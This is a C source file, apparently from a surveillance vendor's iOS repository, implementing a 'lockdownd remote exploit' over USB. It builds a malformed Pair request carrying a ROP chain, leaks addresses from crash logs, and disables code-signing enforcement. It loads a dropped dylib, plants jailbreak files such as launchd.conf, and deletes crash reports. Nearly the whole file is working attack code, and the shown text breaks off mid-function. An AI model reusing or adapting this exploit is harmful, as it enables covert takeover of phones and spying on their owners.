hackedteam/core-ios

View on GitHub
keybreak/src/keybreak.c

Summary

Maintainability
Test Coverage
/*
 * keybreak.c - lockdownd remote exploit
 *
 * Created by Massimo Chiodini on 07/08/2013
 * Copyright (C) HT srl 2013. All rights reserved
 *
 * gcc -arch i386 -w -g -o klock lockdown_exploit.c -w -I/Users/armored/Documents/AppDev/libimobiledevice/include -I/opt/local/include -L/opt/
 * local/lib -L/usr/local/lib -limobiledevice -lplist /usr/lib/libiconv.2.dylib ./crashreport ./uploadtools -larchive
 *
 * gcc -arch i386 -g -c -o crashreport crashreport.c -I/usr/local/opt/libarchive/include
 * gcc -arch i386 -g -c -o uploadtools uploadtools.c -I/opt/local/include -L/opt/local/lib -L/usr/local/lib
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <iconv.h>
#include <errno.h>
#include <sys/time.h>

#include <libimobiledevice/libimobiledevice.h>
#include <libimobiledevice/lockdown.h>
#include <libimobiledevice/afc.h>
#include <libimobiledevice/diagnostics_relay.h>

#include "include/lleak.h"

#include "include/services.h"
#include "include/bootpd.h"
#include "include/kpf.h"
#include "include/kpb.h"
#include "include/launchd.h"
#include "include/dml.h"

unsigned char *gJbRes[] = { res_com_apple_bootpd_plist,
                            res_dml,
                            res_kpb_dylib,
                            res_kpf_dylib,
                            res_launchd_conf,
                            res_Services_plist,
                            NULL };

unsigned char *gJbResName[] = { (unsigned char*)"com.apple.bootpd.plist",
                                (unsigned char*)"dml",
                                (unsigned char*)"kpb.dylib",
                                (unsigned char*)"kpf.dylib",
                                (unsigned char*)"launchd.conf",
                                (unsigned char*)"Services.plist",
                                NULL };

unsigned int gJbRes_len[7];

typedef struct _Jbresources{
  unsigned char **res_list;
  unsigned char **res_name;
  unsigned int  *res_len;
} Jbresources;

Jbresources gJBresources;

#define LABEL_BUFF_LEN 0x5000

#define TRY_TOLEAK 1
#define TRY_TOEXPL 2

#define ROP_PARAM_OFF 0x4000

extern int  getDeviceCrashReport(char* crashLogFile);
extern int  createRemoteFoldersAndTools(Jbresources *jbresources, char *iosfolder);
extern void jb_close_device(afc_client_t afc);

//buffer_txt -> stored in sp:
// on 4.1 3gs       = 0x00521000, 0x00409000, 0x00387000, 0x0040a000, 0x00486000,
//                    0x00404000, 0x000f3000, 0x0049d000, 0x003ab000, 0x0048b000,
//                    0x004a6000, 0x00847000, 0x0040f000
//
// on 4.1 3gs nojb  = 0x000ec000
//
// on 4.3.3 4g      = 0xf1000, 0x224000, 0x107b000, 0x13e000, 0x0107d000

int gLeak = 0;
int payload_base         = 0x004a6000;
int payload_ascii_offset = 0;           // 0x2020;
int rop1_ref             = 0;           // 0x4252302c; //0x0052302c + 0x42000000 'B' will be resetted

int rop2_adr             = 0x30562958;  // 0x30562958 -> pop {r0, r1, r2, r3, §pc}
                                        // 0x330a76d4 -> pop {r4, r7, lr}; bx r3

int stack_adr            = 0;           // 0x42523050; //0x00523050 + 0x42000000 'B' will be resetted

int gRegVal[256];
int gRegValHit[256];

#ifdef NODYLIB
#define _eprintf printf
#else
#define _eprintf __eprintf
#endif

void __eprintf(const char *  format, ...)
{
#ifdef NODYLIB
  va_list args;
  va_start(args,format);
  printf(format, args);
#endif
}

#pragma mark -
#pragma mark USB Mux stuff
#pragma mark -

int sendPayloadToLockdown(char *buffer, int length)
{
  idevice_t phone = NULL;
  idevice_connection_t connection = 0;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  int data =  ((unsigned char)length << 24) |
  ((unsigned short)(length & 0xFF00) << 8) |
  ((length & 0xFF0000u) >> 8) |
  ((length & 0xFF000000) >> 24);
  
  uint32_t sent_bytes = 0;
  
  ret = idevice_new(&phone, NULL);
  
  ret = idevice_connect(phone, 0xf27e, &connection);
  
  idevice_connection_send(connection, (const char*)&data, 4, &sent_bytes);
  idevice_connection_send(connection, (const char*)buffer, length, &sent_bytes);
  
  free(buffer);
  
  sent_bytes = 0;
  length = 0;
  buffer = 0;
  
  idevice_connection_receive_timeout(connection, (char*)&length, 4, &sent_bytes, 1500);
  
  data =  ((unsigned char)length << 24) |
  ((unsigned short)(length & 0xFF00) << 8) |
  ((length & 0xFF0000u) >> 8) |
  ((length & 0xFF000000) >> 24);
  
  if (data)
  {
    //sent_bytes = 0;
    buffer = malloc(data);
    idevice_connection_receive_timeout(connection, buffer, data, &sent_bytes, 15000);
    free(buffer);
  }
  
  idevice_disconnect(connection);
  
  if (sent_bytes == 0)
    return 1;
  
  return 0;
}

char getAsciiByte(char in)
{
  char retByte;
  int i;
  
  for (i=0x1a; i < 0x80; i+=0x10)
  {
    retByte = in + i*2;
    
    if (retByte < 0x80 && retByte > 0x00)
      break;
  }
  
  return i;
}

int sendPayloadToLockdownForSpray(char *buffer, int length)
{
  idevice_t phone = NULL;
  idevice_connection_t connection = 0;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  int data =  ((unsigned char)length << 24) |
  ((unsigned short)(length & 0xFF00) << 8) |
  ((length & 0xFF0000u) >> 8) |
  ((length & 0xFF000000) >> 24);
  
  uint32_t sent_bytes = 0;
  
  ret = idevice_new(&phone, NULL);
  
  ret = idevice_connect(phone, 0xf27e, &connection);
  
  idevice_connection_send(connection, (const char*)&data, 4, &sent_bytes);
  idevice_connection_send(connection, (const char*)buffer, length, &sent_bytes);
  
  
  return 0;
}

#pragma mark -
#pragma mark Start/Stop lckd services
#pragma mark -

void start_ios()
{
  idevice_t phone = NULL;
  lockdownd_client_t client = NULL;
  uint16_t port = 0;
  afc_client_t afc = NULL;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  do
  {
    ret = idevice_new(&phone, NULL);
    usleep(5000);
  } while (ret == IDEVICE_E_NO_DEVICE);
  
  if (ret != IDEVICE_E_SUCCESS)
    return;
  
  do
  {
    ret = lockdownd_client_new_with_handshake(phone, &client, "0o0o0o0");
    sleep(1);
  } while (ret != LOCKDOWN_E_SUCCESS);
  
  if (LOCKDOWN_E_SUCCESS != ret)
  {
    idevice_free(phone);
    return;
  }
  
  ret = lockdownd_start_service(client, "com.apple.mdws", &port);
  
  if ((ret == LOCKDOWN_E_SUCCESS) && port)
    ret = afc_client_new(phone, port, &afc);
  
  lockdownd_client_free(client);
  idevice_free(phone);
  
  return;
}

void stop_ios()
{
  uint16_t port = 0;
  idevice_t phone = NULL;
  lockdownd_client_t client = NULL;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  do
  {
    ret = idevice_new(&phone, NULL);
    usleep(5000);
  } while (ret == IDEVICE_E_NO_DEVICE);
  
  if (ret != IDEVICE_E_SUCCESS)
    return ;
  
  do
  {
    ret = lockdownd_client_new_with_handshake(phone, &client, "0o0o0o0");
    sleep(1);
  } while (ret != LOCKDOWN_E_SUCCESS);
  
  if (LOCKDOWN_E_SUCCESS != ret)
  {
    idevice_free(phone);
    return ;
  }
  
  ret = lockdownd_start_service(client, "com.apple.mdwt", &port);
  
  lockdownd_client_free(client);
  idevice_free(phone);
  
  exit(0);
  
  return;
}

void start_crashmover()
{
  idevice_t phone = NULL;
  lockdownd_client_t client = NULL;
  uint16_t port = 0;
  afc_client_t afc = NULL;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  do
  {
    ret = idevice_new(&phone, NULL);
    usleep(5000);
  } while (ret == IDEVICE_E_NO_DEVICE);
  
  if (ret != IDEVICE_E_SUCCESS)
    return ;
  
  do
  {
    ret = lockdownd_client_new_with_handshake(phone, &client, "0o0o0o0");
    sleep(1);
  } while (ret != LOCKDOWN_E_SUCCESS);
  
  if (LOCKDOWN_E_SUCCESS != ret)
  {
    idevice_free(phone);
    return ;
  }
  
  ret = lockdownd_start_service(client, "com.apple.crashreportmover", &port);
  
  if ((ret == LOCKDOWN_E_SUCCESS) && port)
    ret = afc_client_new(phone, port, &afc);
  
  lockdownd_client_free(client);
  idevice_free(phone);
  
  return;
}

void start_bootpd()
{
  idevice_t phone = NULL;
  lockdownd_client_t client = NULL;
  uint16_t port = 0;
  afc_client_t afc = NULL;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  do
  {
    ret = idevice_new(&phone, NULL);
    usleep(5000);
  } while (ret == IDEVICE_E_NO_DEVICE);
  
  if (ret != IDEVICE_E_SUCCESS)
    return ;
  
  do
  {
    ret = lockdownd_client_new_with_handshake(phone, &client, "0o0o0o0");
    sleep(1);
  } while (ret != LOCKDOWN_E_SUCCESS);
  
  if (LOCKDOWN_E_SUCCESS != ret)
  {
    idevice_free(phone);
    return ;
  }
  
  ret = lockdownd_start_service(client, "com.apple.bootps", &port);
  
  if ((ret == LOCKDOWN_E_SUCCESS) && port)
    ret = afc_client_new(phone, port, &afc);
  
  lockdownd_client_free(client);
  idevice_free(phone);
  
  exit(0);
  
  return;
}

void stop_bootpd()
{
  uint16_t port = 0;
  idevice_t phone = NULL;
  lockdownd_client_t client = NULL;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  do
  {
    ret = idevice_new(&phone, NULL);
    usleep(5000);
  } while (ret == IDEVICE_E_NO_DEVICE);
  
  if (ret != IDEVICE_E_SUCCESS)
    return ;
  
  do
  {
    ret = lockdownd_client_new_with_handshake(phone, &client, "0o0o0o0");
    sleep(1);
  } while (ret != LOCKDOWN_E_SUCCESS);
  
  if (LOCKDOWN_E_SUCCESS != ret)
  {
    idevice_free(phone);
    return ;
  }
  
  ret = lockdownd_start_service(client, "com.apple.bootpe", &port);
  
  lockdownd_client_free(client);
  idevice_free(phone);
  
  exit(0);
  
  return;
}

afc_client_t kjb_open_device(char* name)
{
  idevice_t phone = NULL;
  lockdownd_client_t client = NULL;
  uint16_t port = 0;
  afc_client_t afc = NULL;
  idevice_error_t ret = IDEVICE_E_UNKNOWN_ERROR;
  
  do
  {
    ret = idevice_new(&phone, NULL);
    usleep(5000);
  } while (ret == IDEVICE_E_NO_DEVICE);
  
  if (ret != IDEVICE_E_SUCCESS)
    return NULL;
  
  do
  {
    ret = lockdownd_client_new_with_handshake(phone, &client, "0o0o0o0");
    sleep(1);
  } while (ret != LOCKDOWN_E_SUCCESS);
  
  if (LOCKDOWN_E_SUCCESS != ret)
  {
    idevice_free(phone);
    return NULL;
  }
  
  ret = lockdownd_start_service(client, name, &port);
  
  if ((ret == LOCKDOWN_E_SUCCESS) && port)
    ret = afc_client_new(phone, port, &afc);
  
  lockdownd_client_free(client);
  idevice_free(phone);
  
  if (ret != AFC_E_SUCCESS)
    return NULL;
  
  return afc;
}

#pragma mark -
#pragma mark Init/clean device
#pragma mark -

int kjb_check_file(char *path, int timeout)
{
  int retv = 1;
  uint64_t handle;
  
  afc_client_t afc = kjb_open_device("com.apple.afc");
  
  if (afc == NULL)
    return 0;
  
  while (retv != AFC_E_SUCCESS)
  {
    retv = afc_file_open(afc,
                         path,
                         AFC_FOPEN_RDONLY,
                         &handle);
    
    if (--timeout == 0)
    {
      break;
    }
    
    sleep(1);
  }
  
  afc_file_close(afc, handle);
  
  jb_close_device(afc);
  
  if (retv == AFC_E_SUCCESS)
    return 1;
  else
    return 0;
}

#define CRASHREPO_FOLDER "/"

void cleanUpCrashReportFolder()
{
  char **file_list = NULL;
  
  start_crashmover();
  
  afc_client_t afc = kjb_open_device("com.apple.crashreportcopymobile");
  
  if (afc == NULL)
    return;
  
  int retval = afc_read_directory(afc, CRASHREPO_FOLDER, &file_list);
  
  if ( retval == AFC_E_SUCCESS)
  {
    int i = 0;
    
    while (file_list[i] != NULL)
    {
      char fullpath[256];
      sprintf(fullpath, "%s/%s", CRASHREPO_FOLDER, file_list[i++]);
      
      afc_remove_path(afc, fullpath);
    }
  }
  
  afc_client_free(afc);
}

#pragma mark -
#pragma mark CrashLog analysis
#pragma mark -

char *openCrashDump(char *filename)
{
  struct stat info;
  int filelen, len = 0;
  char filepath[256];
  
  sprintf(filepath, "/tmp/%s", filename);
  
  int fd = open(filepath, O_RDONLY);
  
  if(fstat(fd, &info) == -1)
  {
    printf("Error on stat file");
    return NULL;
  }
  
  filelen = (int)info.st_size;
  
  char *buffer = (char*)malloc(filelen);
  char *ptr = buffer;
  
  while(len < filelen)
  {
    int rb = read(fd, ptr, filelen);
    len += rb;
    ptr += rb;
  }
  
  close(fd);
  
  return buffer;
}

int findRegValue(char regnum, char *buffer)
{
  int i, retval = 0, regval = 0x203A0072;
  short regs = regnum;
  
  regs = (regnum << 8) & 0x0000FF00;
  regval += regs;
  
  int len = strlen(buffer);
  
  for(i=0; i < len; i++)
  {
    int *cival = (int*)&buffer[i];
    if (*cival == regval)
    {
      sscanf(&buffer[i+4], "0x%x ", &retval);
      break;
    }
  }
  
  return retval;
}

char **getCrashReports()
{
  int i = 0, a = 0;
  static char **file_list = NULL;
  static char *file_list_out[256];
  
  memset(file_list_out, 0, 256);
  
  start_crashmover();
  
  afc_client_t afc = kjb_open_device("com.apple.crashreportcopymobile");
  
  if (afc == NULL)
    return file_list_out;
  
  int retval = afc_read_directory(afc, CRASHREPO_FOLDER, &file_list);
  
  if ( retval == AFC_E_SUCCESS)
  {
    while (file_list[i] != NULL)
    {
      if (strcmp(file_list[i], ".") && strcmp(file_list[i], "..") &&
          !strncmp(file_list[i], "lockdownd_", 10))
      {
        file_list_out[a++] = file_list[i];
        _eprintf("get crashreport %s.\n", file_list[i]);
        getDeviceCrashReport(file_list[i]);
      }
      
      i++;
    }
    
    return file_list_out;
  }
  
  return file_list_out;
}

void saveRegValue(int val)
{
  int i = 0;
  
  while(gRegVal[i] != -1)
  {
    if (gRegVal[i] == val)
    {
      gRegValHit[i]++;
      return;
    }
    i++;
  }
  
  gRegVal[i] = val;
  
  gRegValHit[i]++;
}

int getLeakedBaseAddress()
{
  int i = 0, regval = 0, regvalhit = 0;
  
  _eprintf("\ngetting reports files...\n");
  
  char **filename = getCrashReports();
  
  if (filename[i] == NULL)
    return 0;
  
  _eprintf("\nanalyzing...\n");
  
  while(filename[i] != NULL)
  {
    char *buff = openCrashDump(filename[i]);
    
    if (buff)
    {
      saveRegValue(findRegValue('1', buff));
      free(buff);
    }
    i++;
  }
  
  i = 0;
  
  _eprintf("\nCalculate candidate base address\n\n");
  
  while(gRegVal[i] != -1)
  {
    int a = 0;
    
    _eprintf(" base address hit [0x%.8x]: ", gRegVal[i]);
    
    for(a=0; a < gRegValHit[i];a++)
      _eprintf("+");
    
    _eprintf("\n");
    
    if (regvalhit < gRegValHit[i])
    {
      regval = gRegVal[i];
      regvalhit = gRegValHit[i];
    }
    i++;
  }
  
  return regval;
}

#pragma mark -
#pragma mark UTF conversion
#pragma mark -

int appendUTF8Word(int ucn, char *base)
{
  size_t inleft = 4;
  size_t outleft = 256;
  iconv_t cd;
  int _inptr = ucn;
  int *inptr = &_inptr;
  char _utf8Buff[256];
  char *utf8Buff = _utf8Buff;
  int len;
  
  if ((cd = iconv_open("UTF8", "UNICODELITTLE")) == (iconv_t)(-1))
  {
    _eprintf( "Cannot open converter\n");
    return 0;
  }
  
  int rc = iconv(cd, (char**)&inptr, &inleft, &utf8Buff, &outleft);
  
  if (rc == -1)
  {
    _eprintf("Error in converting characters\n");
    
    if(errno == E2BIG)
      _eprintf("errno == E2BIG\n");
    if(errno == EILSEQ)
      _eprintf("errno == EILSEQ\n");
    if(errno == EINVAL)
      _eprintf("errno == EINVAL\n");
    
    iconv_close(cd);
    return 0;
  }
  
  iconv_close(cd);
  
  len = 256-outleft;
  
  memcpy(base, _utf8Buff, len); // 0x330e74d4
  
  return len;
}

int appendUTF8String(char *instring, char *base)
{
  int _inptr;
  int len = 0;
  int pad = 0;
  int pad_rest = 0;
  
  pad_rest = strlen(instring)%sizeof(int);
  
  if (pad_rest)
    pad = 1;
  
  int padlen = sizeof(int)*((strlen(instring)/sizeof(int)) + pad);
  pad_rest = padlen - strlen(instring);
  
  char *_istring = (char*)malloc(padlen);
  memset(_istring, 0, padlen);
  memcpy(_istring, instring, strlen(instring));
  
  if (pad_rest > 1)
    _istring[strlen(instring)+1] = 0xF0;
  
  int *istring = (int*)_istring;
  
  do{
    _inptr = *istring++;
    int tmplen = appendUTF8Word(_inptr, base);
    base += tmplen;
    len  += tmplen;
  } while ((char*)istring < (_istring+padlen));
  
  return len;
}

#pragma mark -
#pragma mark ROP shellcodes
#pragma mark -

char *dlopenROPLabelBuffer()
{
  int i = 0;
  
  int len = 0;
  
  char *buffer = (char*)malloc(LABEL_BUFF_LEN+12);
  
  for(i=0; i < LABEL_BUFF_LEN+12; i++)
    buffer[i] = 'N';
  
  int base = (int)buffer+payload_ascii_offset;
  
  // length of unicode label string = 8188 this is correct
  
  // /usr/libexec/oah/Shims = 0x2FE24580
  // dlopen = 0x32fd45c5
  // rpo3 = 0x330a76d8
  // length of unicode label string = 8184
  
  len = appendUTF8Word(0x330e74d4, (char*)base);
  
  base += len;
  
  len = appendUTF8Word(0x2fe24580, (char*)base);
  
  base += len;
  base += 6;  // space for r1,r2,r3
  
  len = appendUTF8Word(0x32fd45c5, (char*)base);
  
  // base += len;
  
  // len = appendUTF8Word(0x330a76d8, base);
  
  return buffer;
}

char *execvROPLabelBuffer()
{
  int i = 0;
  int len = 0;
  
  char *buffer = (char*)malloc(LABEL_BUFF_LEN+12);
  
  for(i=0; i < LABEL_BUFF_LEN+12; i++)
    buffer[i] = 'N';
  
  /*
   char *argv[] = "/sbin/mount", "-v", "-t hfs", "-o rw", "/dev/disk0s1s1", 0};
   execv("/sbin/mount", argv)
   execv = 0x33022160;
   */
  
  char *base = buffer +  payload_ascii_offset;
  
  char *argv0 = "/sbin/mount";
  char *argv1 = "-v";
  char *argv2 = "-t hfs";
  char *argv3 = "-o rw";
  char *argv4 = "/dev/disk0s1s1";
  
  // offset devono essere ricalcolati tenendo conto che la stringa e'
  // convertita in UTF16
  int argv0_addr = payload_base + (payload_ascii_offset + ROP_PARAM_OFF)*2 - 12;
  int argv1_addr = argv0_addr + strlen(argv0) + 1 + sizeof(int);
  int argv2_addr = argv1_addr + strlen(argv1) + 1 + sizeof(int);
  int argv3_addr = argv2_addr + strlen(argv2) + 1 + sizeof(int);
  int argv4_addr = argv3_addr + strlen(argv3) + 1 + sizeof(int);
  int argv_addr  = argv3_addr + strlen(argv3) + 1 + sizeof(int);
  
  /*
   * r0: argv0        :
   * r1: argv         :
   * r2: 0x004e004e   :
   * r3: 0x33022160   : execv
   * pc: 0x330a76d8   : bx r3
   */
  
  len = appendUTF8Word(0x330e74d4, base);     base += len;
  len = appendUTF8Word(argv0_addr, base);     base += len;
  len = appendUTF8Word(argv_addr+0x18, base); base += len; base += 2; // space for r2
  
  len = appendUTF8Word(0x33022160, base); base += len;
  len = appendUTF8Word(0x330a76d8, base);
  
  base = buffer +  payload_ascii_offset + ROP_PARAM_OFF;
  
  len = appendUTF8String(argv0, base); base += (len + sizeof(int)/2);
  len = appendUTF8String(argv1, base); base += (len + sizeof(int)/2);
  len = appendUTF8String(argv2, base); base += (len + sizeof(int)/2);
  len = appendUTF8String(argv3, base); base += (len + sizeof(int)/2);
  len = appendUTF8String(argv4, base); base += (len + sizeof(int)/2);
  
  len = appendUTF8Word(argv0_addr, base);   base += len;
  len = appendUTF8Word(argv1_addr, base);   base += len;
  len = appendUTF8Word(argv2_addr+1, base); base += len;
  len = appendUTF8Word(argv3_addr+2, base); base += len;
  len = appendUTF8Word(argv4_addr+4, base); base += len;
  
  return buffer;
}

char *sysctlAndDlopenROPLabelBuffer()
{
  int i = 0;
  int len = 0;
  
  char *buffer = (char*)malloc(LABEL_BUFF_LEN+12);
  
  for(i=0; i < LABEL_BUFF_LEN+12; i++)
    buffer[i] = 'N';
  
  char *base = buffer +  payload_ascii_offset;
  
  /*
   * sysctlbyname(const char *name, void *oldp, size_t *oldlenp, void *newp, size_t newlen);
   * sysctlbyname("security.mac.proc_enforce",  &proc_enforce,  &size, NULL, 0); ;
   */
  
  char *name  = "security.mac.proc_enforce";
  char *dlybn = "/var/mobile/Media/kdi/dml";
  int param_off = LABEL_BUFF_LEN - 1024;
  
  // offset devono essere ricalcolati tenendo conto che la stringa e'
  // convertita in UTF16
  //int name_addr    = payload_base + (payload_ascii_offset + ROP_PARAM_OFF)*2 - 152;
  int name_addr    = payload_base + (param_off)*2 - 152;
  int dlybn_addr   = name_addr  + (strlen(name)  + 1 + sizeof(int)) + 2;
  int oldp_addr    = dlybn_addr + (strlen(dlybn) + 1 + sizeof(int)) + 2;
  int oldlenp_addr = oldp_addr + sizeof(int);//0x3440b080;// contiene 4 (in corefoundation) //
  
  _eprintf("%s: param address: name at [0x%.8x]\n", __func__, name_addr);
  
  /*
   * r0: name          :
   * r1: &proc_enforce :
   * r2: &size         :
   * r3: 0x00000000    :
   * pc: 0x32ffe9a8    : sysctlbyname
   * sp: 0x00000000    : 0
   
   30562958 e8bd800f pop {r0, r1, r2, r3, pc}
   
   0xAAAAAA : r0
   0xAAAAAA : r1
   0xAAAAAA : r2
   30562958 : r3
   330a76d4 : pc
   
   330a76d4 e8bd4090 pop {r4, r7, lr}
   330a76d8 e12fff13 bx  r3
   
   0xAAAAAA : r4
   0xAAAAAA : r7
   30562958 : lr
   
   0x330e74d4 : ldr sp, [r0, #40]
   0x330e74d8 : ldr r0, [r0, #36]
   0x330e74dc : bx  r0 =
   */
  
  len = appendUTF8Word(0x330e74d4, base); base += len;
  
  // 30562958 e8bd800f pop {r0, r1, r2, r3, pc}
  len = appendUTF8Word(0x43434343, base); base += len;     // r0
  len = appendUTF8Word(0x43434343, base); base += len;     // r1
  len = appendUTF8Word(0x43434343, base); base += len;     // r2
  len = appendUTF8Word(0x30562958, base); base += len;     // r3
  len = appendUTF8Word(0x330a76d4, base); base += len;     // pc -> 330a76d4 e8bd4090 pop {r4, r7, lr}
  
  // setta lr
  // 330a76d4 e8bd4090 pop {r4, r7, lr}
  len = appendUTF8Word(0xAAAAAAAA, base); base += len;    // r4
  len = appendUTF8Word(0xAAAAAAAA, base); base += len;    // r7
  len = appendUTF8Word(0x330e19b4, base); base += len;    // lr -> 330e19b4 e8bd800f pop {r0, r1, r2, r3, pc}
  
  // 330a76d8 e12fff13 bx  r3 -> pop {r0, r1, r2, r3, pc}
  
  // 30562958 e8bd800f pop {r0, r1, r2, r3, pc}
  len = appendUTF8Word(name_addr,  base); base += len;     // r0
  len = appendUTF8Word(oldp_addr,  base); base += len;     // r1
  len = appendUTF8Word(oldlenp_addr, base); base += len;   // r2
  len = appendUTF8Word(0x30e9a770, base); base += len;     // r3 => in iokit contiente 00000000
  len = appendUTF8Word(0x32ffe9a9, base); base += len;     // pc = 0x34759150 -> pop {r4, r5, r6, r7, pc}
  len = appendUTF8Word(0x00040004, base); base += len;     // newlen : al ritorno sara' poppato in r0
  
  // lr -> 0x330e19b4 e8bd800f pop {r0, r1, r2, r3, pc} riallinea lo stack
  len = appendUTF8Word(0xAAAAAAAA,  base); base += len;    // r1
  len = appendUTF8Word(0xAAAAAAAA,  base); base += len;    // r2
  len = appendUTF8Word(0xAAAAAAAA,  base); base += len;    // r3
  len = appendUTF8Word(0x30562958,  base); base += len;    // pc
  
  // 30562958 e8bd800f pop {r0, r1, r2, r3, pc}
  len = appendUTF8Word(dlybn_addr, base); base += len;     // r0: dylib_path
  len = appendUTF8Word(0x02020202, base);  base += len;    // r1: rtl_now
  len = appendUTF8Word(0x43434343, base); base += len;     // r2: nop
  len = appendUTF8Word(0x44444444, base); base += len;     // r3: nop
  len = appendUTF8Word(0x32fd45c5, base); base += len;     // pc: 0x32fd45c5 -> dlopen
  
  // Params
  //base = buffer +  payload_ascii_offset + ROP_PARAM_OFF;
  base = buffer + param_off;
  
  len = appendUTF8String(name, base);
  base += (len + sizeof(int)/2);
  
  len = appendUTF8String(dlybn, base);
  base += (len + sizeof(int)/2);
  
  len = appendUTF8Word(0x40404040, base); // oldp
  base += len;
  
  len = appendUTF8Word(0x00000004, base); // oldplen
  
  return buffer;
}

#pragma mark -
#pragma mark Entry point shellcode creation
#pragma mark -

char *setupBogusPairRequestDictionary()
{
  static char buffer_req[256];
  
  /*
   Bogus dictionary struct:
   R5->  0x17d070:   0x3e80383c      0x0100078c      0x3f3f3031      0x62613f3f
   0x17d080:   0x66656463      0x6c696867      0x0052302c(a)   0x41414141
   0x17d090:   0x41414141      0x30562958(e)   0x00523050(b)   0x41414141
   0x17d0a0:   0x41414141      0x41414141      0x00004141      0x00000000
   
   Bogus Label string:
   payload_base =    0x521000:   0x3e80383c      0x01000790  0x00001ffc  0x003f003f
   0x521010:   0x003f003f      0x003f003f  0x003f003f  0x003f003f
   ....
   0x52302c:   0x003f003f      0x003f003f  0x003f003f  0x003f003f
   0x52303c:   0x003f003f      0x003f003f  0x003f003f  0x003f003f
   0x52304c:(d)0x330e74d4   (c)0x003f003f  0x003f003f  0x003f003f
   0x52305c:   0x003f003f      0x003f003f  0x003f003f  0x003f003f
   
   
   dictionary bug:
   
   344BCD80 LDR R3, [R5,#0x18] ; // R5 -> bogus dictionary (NSString) R3 = (a)
   ...
   344BCD8C LDR R3, [R3,#0x20]  ; // R3 = *((a) + 0x20) = *(0x0052302c+0x20) = 0x330e74d4
   344BCD90 LDR R8, [R1,R6,LSL#2]
   344BCD94 MOV R1, R2
   344BCD98 BLX R3 ; BLX 0x330e74d4
   ...
   rop1_address:
   330e74d4 e590d028 ldr sp, [r0, #40] ; sp = *(r0=0x17d070 + 40) = (b) = 0x00523050 -> (c)
   330e74d8 e5900024 ldr r0, [r0, #36] ; r0 = *(r0=0x17d070 + 36) = (e) = 0x30562958
   330e74dc e12fff10 bx r0
   ...
   
   rop2_address
   30562958 e8bd800f pop {r0, r1, r2, r3, pc}
   
   rpo3_address:
   330a76d8 e12fff13 bx r3
   */
  
  sprintf(buffer_req,
          "0????abcdefghil"
          "XXXX"                /*(a)*/
          "AAAAAAAA"
          "YYYY"                /*(e)*/
          "ZZZZ"                /*(b)*/
          "AAAAAAAAAAAAAA");
  
  // memcpy(buffer_req + 15, &rop1_ref, 4);                  // (a)
  // memcpy(buffer_req + 15 + 4 + 8, &rop2_adr, 4);          // (e)
  // memcpy(buffer_req + 15 + 4 + 8 + 4, &stack_adr, 4);     // (b)
  
  return buffer_req;
}

#pragma mark -
#pragma mark Xml Mux dictionary
#pragma mark -

char *createLockdownPlist(uint32_t *length)
{
  plist_t dict = plist_new_dict();
  
  plist_dict_insert_item(dict, "Request", plist_new_string("Pair"));
  plist_dict_insert_item(dict, "PairRecord", plist_new_string(setupBogusPairRequestDictionary()));
  plist_dict_insert_item(dict, "Label", plist_new_string(sysctlAndDlopenROPLabelBuffer()));
  
  char *buffer_xml = NULL;
  uint32_t length_xml = 0;
  
  plist_to_xml(dict, &buffer_xml, &length_xml);
  
  plist_free(dict);
  
  *length = length_xml;
  
  return buffer_xml;
}

#pragma mark -
#pragma mark Bytes adjusting
#pragma mark -

void adjustHiByteAddress(char *buffer)
{
  buffer += 246;
  
  memcpy(buffer + 15, &rop1_ref, 4);
  memcpy(buffer + 15 + 4 + 8, &rop2_adr, 4);
  memcpy(buffer + 15 + 4 + 8 + 4, &stack_adr, 4);
  buffer[18]    = 0x0;
  buffer[18+16] = 0x0;
}

void adjustHiByteAddressForLeak(char *buffer)
{
  buffer += 246;
  
  memcpy(buffer + 15, &rop1_ref, 4);
  memcpy(buffer + 15 + 4 + 8, &rop2_adr, 4);
  memcpy(buffer + 15 + 4 + 8 + 4, &stack_adr, 4);
  
  buffer[18+16] = 0x0;
}

void adjustRopAddr()
{
  char hiByte = (payload_base & 0x0000FF00) >> 8;
  char loByte = (payload_base & 0x000000FF);
  
  int p_utf_off_hi = getAsciiByte(hiByte);
  int p_utf_off_lo = getAsciiByte(loByte);
  
  payload_ascii_offset = (p_utf_off_hi << 8) | (p_utf_off_lo);
  
  rop1_ref    = payload_base + payload_ascii_offset*2 + 0xC - 0x20 + 0x43000000;
  stack_adr   = payload_base + payload_ascii_offset*2 + 0xC + 0x04 + 0x43000000;
}

void adjustRopAddrForLeak()
{
  char hiByte = (payload_base & 0x0000FF00) >> 8;
  char loByte = (payload_base & 0x000000FF);
  
  int p_utf_off_hi = getAsciiByte(hiByte);
  int p_utf_off_lo = getAsciiByte(loByte);
  
  payload_ascii_offset = (p_utf_off_hi << 8) | (p_utf_off_lo);
  
  // |32984710:3298470b | allfw/UIKit | 0x32236a7d
  rop1_ref    = 0x32236a7d - 0x20;
  stack_adr   = payload_base + payload_ascii_offset*2 + 0xC + 0x04 + 0x43000000;
}

#pragma mark -
#pragma mark Exploting
#pragma mark -

int exploiting(int flag)
{
  char *buffer_xml = NULL;
  uint32_t length_xml = 0;
  
  if (flag == TRY_TOEXPL)
  {
    _eprintf("creating PairRecord...\n");
    adjustRopAddr();
  }
  else
  {
    _eprintf("creating PairRecord for leaking out payload_base...\n");
    adjustRopAddrForLeak();
  }
  
  buffer_xml = createLockdownPlist(&length_xml);
  
  _eprintf("adjusting addresses...\n");
  
  sleep(1);
  
  // no for find leak...
  if  (flag == TRY_TOEXPL)
    adjustHiByteAddress(buffer_xml);
  else
    adjustHiByteAddressForLeak(buffer_xml);
  
  _eprintf("trying on addresses:\n\t payload at \t[0x%.8x]\n\t gadget1 at \t[0x%.4x]\n\t gadget2 at \t[0x%.8x]\n\t"
           " rop stack at \t[0x%.8x]\n\t ascii offset \t[0x%.8x]\n",
           payload_base, rop1_ref & 0xFFFFFFFF, rop2_adr, stack_adr & 0x00FFFFFF, payload_ascii_offset);
  
  _eprintf("sending exploit...\n");
  sleep(1);
  
  int retVal = sendPayloadToLockdown(buffer_xml, length_xml);
  
  if (retVal == 1)
    _eprintf("Exploting done.\n");
  else
